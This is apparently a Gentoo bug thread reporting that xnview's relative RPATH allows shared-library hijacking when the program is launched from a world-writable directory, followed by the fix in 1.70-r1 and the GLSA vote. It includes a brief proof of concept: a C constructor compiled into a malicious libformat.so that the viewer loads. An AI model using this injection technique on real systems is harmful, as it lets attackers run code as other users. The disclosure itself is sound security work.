nelchael from desktop-misc herd reported that xnview includes a relative rpath, this means that should the applicatoin be launched from a directory other users have write access to, they can hijack the application. $ chrpath /opt/bin/nview /opt/bin/nview: RPATH=.:/usr/local/lib:/usr/X11R6/lib $ cd /tmp $ /opt/bin/nview ** NVIEW v4.16 Copyright 1991-2002 Pierre-E Gougelet (Feb 17 2004/13:47:38) ** ... $ cat > exploit.c #include <stdio.h> void __attribute__((constructor)) evil (void) { fprintf(stderr, "exploit code now in control.\n"); _exit(0); } ^D $ gcc -fPIC -shared -o libformat.so exploit.c $ /opt/bin/nview exploit code now in control. The package has been p.masked by desktop-misc, but may still need a glsa? this could probably be fixed by using chrpath or patching the RPATH out in the ebuild, but this may violate some license agreement or something.
Got reply from Pierre-e Gougelet (author of Xnview): -------- > Is it possible for us to > modify the RPATH while installing the package - wouldn't it violate the > licence? No --------
Version 1.70-r1 which fixes this bug is in portage.
arches, pls test and mark stable.
x86 done. 1.70-r1 stable.
mhhh ok, seems this ready for glsa vote (is B3 ok here, anyways?). Also, as nelchael pointed out, ppc is probably not vulnerable, but i still want them to take a look while we continue the glsa process without waiting for them to stable.
vote YES, pretty serious.
We have a draft, lets have a GLSA, I vote yes.
GLSA 200512-18